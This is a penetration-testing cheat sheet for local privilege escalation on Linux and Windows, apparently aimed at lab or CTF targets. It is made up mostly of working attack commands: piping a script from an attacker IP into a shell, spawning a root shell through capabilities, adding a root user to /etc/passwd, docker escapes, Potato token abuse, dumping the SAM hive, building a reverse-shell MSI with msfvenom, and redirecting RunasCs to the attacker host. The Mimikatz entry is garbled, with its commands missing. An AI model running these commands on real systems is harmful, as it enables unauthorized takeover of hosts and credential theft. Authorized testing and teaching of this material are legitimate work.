Local Privilege Escalation Arsenal

Loads once a foothold/shell exists and you need root/SYSTEM. Authorized, in-scope targets only. Enumerate the cheap wins first (sudo -l, SUID, caps / whoami /priv) before reaching for kernel or token exploits.

Linux

Automated enumeration

• linpeas.sh — one-shot enum of every common vector; run early. curl 10.10.14.5:8000/linpeas.sh | sh (or transfer + ./linpeas.sh -a). Grep the output: red/yellow highlights = likely wins. Look for sudo, SUID, Capabilities, writable paths, PATH, cron, cleartext creds. Gotcha: noisy — pipe to a file (./linpeas.sh > lp.txt) and read it, don't scroll the terminal.
• pspy — watches processes/cron without root; catches root-run cron jobs and their commands. ./pspy64 -pf -i 1000 (-p procs, -f file events, -i poll ms). Gotcha: leave it running a few minutes to catch periodic cron.
• linux-exploit-suggester (LES) — maps uname -a / kernel to public exploits. ./les.sh on target, or ./les.sh -k 5.4.0. Treat output as leads to verify, not guaranteed.
• LinEnum — older but reliable broad enum; complements linpeas. ./LinEnum.sh -t (-t = thorough).

Manual quick wins

• sudo -l — the first thing you run. Lists what you may run as another user. sudo -l. Any allowed binary → look it up on GTFOBins (gtfobins.github.io) for the sudo escape. NOPASSWD entries and env-preserving rules (env_keep, LD_PRELOAD) are gold.
• SUID/SGID binaries — run as file owner regardless of caller. find / -perm -4000 -type f 2>/dev/null (SUID; use -2000 for SGID). Cross-reference each unusual binary against GTFOBins "SUID" section. Gotcha: ignore standard ones (passwd, sudo, mount); hunt the odd one out.
• Capabilities — fine-grained root powers on a binary. getcap -r / 2>/dev/null. cap_setuid+ep on e.g. python/perl → python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'. Also cap_dac_read_search (read any file), cap_setgid. Check GTFOBins "Capabilities".
• Cron jobs & writable scripts — root cron running a script you can write = root. cat /etc/crontab, ls -la /etc/cron.*, and pspy. If a cron'd script or any dir in its path is writable → inject a reverse shell / chmod +s /bin/bash.
• Writable /etc/passwd — if writable, add a root user. openssl passwd -1 -salt x pass123 → append hacker:$1$x$hash:0:0::/root:/bin/bash then su hacker. Gotcha: also check /etc/shadow readable.
• PATH hijack — a root SUID/cron program calling a binary by bare name (no absolute path). Prepend a writable dir to PATH and drop a malicious binary with that name. export PATH=/tmp:$PATH after echo '/bin/bash' > /tmp/<name>; chmod +x.
• NFS no_root_squash — an export mounted with no_root_squash lets a remote root write root-owned SUID files. showmount -e <target>, mount it, place a SUID root shell as your own root, execute on target.
• docker / lxd group — membership = root-equivalent. Docker: docker run -v /:/mnt -it alpine chroot /mnt sh. lxd: import an alpine image, launch a privileged container mounting /.

Windows

Automated enumeration

• winPEAS — Windows equivalent of linpeas. winPEASx64.exe (or .bat fallback). Highlights services, privileges, creds, AlwaysInstallElevated.
• PrivescCheck.ps1 — lightweight, AMSI-friendly. . .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended.
• PowerUp — service/registry misconfig hunter. . .\PowerUp.ps1; Invoke-AllChecks. Flags unquoted paths, weak service perms, AlwaysInstallElevated with ready-made abuse functions.
• WES-NG — offline patch-diff. On target systeminfo > sys.txt, then wes.py sys.txt locally maps missing KBs to exploits. Gotcha: run wes.py --update first.
• Seatbelt — targeted host survey (creds, tokens, sessions). Seatbelt.exe -group=all.

Token / privilege abuse

• whoami /priv — run this first. Enabled Se*Privileges are direct paths.
• SeImpersonatePrivilege → Potato family — impersonate SYSTEM token (common on service/IIS/MSSQL accounts). PrintSpoofer (PrintSpoofer64.exe -i -c cmd) or GodPotato (GodPotato -cmd "cmd /c whoami") for Server 2019/2022 + Win10/11. JuicyPotato only for older ≤ Server 2016 / Win10 pre-1809. Gotcha: pick by OS build — JuicyPotato fails on modern builds; GodPotato/PrintSpoofer are the modern go-to.
• SeBackupPrivilege / SeRestorePrivilege — read/write any file. Back up the SAM & SYSTEM hives (reg save hklm\sam sam.hive, reg save hklm\system system.hive) then secretsdump.py -sam sam.hive -system system.hive LOCAL for hashes.
• Unquoted service paths — space in an unquoted ImagePath lets Windows run your planted exe. wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" → drop exe at the earlier path if the dir is writable, restart service.
• Weak service permissions — reconfigure a service you can edit. accesschk.exe -uwcqv "user" * or PowerUp; sc config <svc> binPath= "C:\path\rev.exe" then sc start <svc>.
• AlwaysInstallElevated — both registry keys = 1 lets any MSI run as SYSTEM. Check reg query HKLM\...\Installer /v AlwaysInstallElevated (and HKCU). msfvenom -p windows/x64/shell_reverse_tcp ... -f msi -o r.msi then msiexec /quiet /i r.msi.
• Autoruns — writable auto-start binary run by a privileged user. PowerUp / winPEAS flag these; replace the exe.
• Stored credentials — cmdkey /list (then runas /savecred), reg query for autologon/PuTTY creds, unattend.xml / sysprep.inf / Groups.xml (GPP), and SAM/SYSTEM via reg save. Search: findstr /si password *.txt *.xml *.config.
• runas / RunasCs — use recovered creds without an interactive session. RunasCs.exe user pass "cmd" -r 10.10.14.5:4444 (-r = reverse-shell redirect).
• Mimikatz — once SYSTEM, dump creds/hashes for lateral movement. then , or . Gotcha: needs SYSTEM/debug; use it to harvest, not to escalate.

Shell stabilization & file transfer

• Upgrade a dumb TTY — python3 -c 'import pty; pty.spawn("/bin/bash")', then Ctrl-Z, stty raw -echo; fg, then export TERM=xterm. Now Ctrl-C, tab-complete, and editors work.
• Transfers (Linux) — attacker: python3 -m http.server 8000; target: wget http://10.10.14.5:8000/linpeas.sh or curl -O .... Or scp file user@target:/tmp with creds. Quick pipe: nc -lvnp 9001 < file / nc target 9001 > file.
• Transfers (Windows) — certutil -urlcache -f http://10.10.14.5:8000/winpeas.exe wp.exe, PowerShell iwr http://10.10.14.5:8000/x.exe -o x.exe (or (New-Object Net.WebClient).DownloadFile(...)). SMB pull: attacker impacket-smbserver share . -smb2support, target copy \\10.10.14.5\share\x.exe.

Discipline

• Always run sudo -l and check SUID + capabilities (Linux) / whoami /priv (Windows) before anything heavier.
• Kernel exploits are the last resort — they can crash/panic the host; exhaust config-based vectors first and match the exact kernel/build.
• On Windows, enabled privileges in whoami /priv usually beat hunting for CVEs — check them first.
• Cross-reference every sudo/SUID/capability finding against GTFOBins; every Windows service/registry finding against PowerUp output.
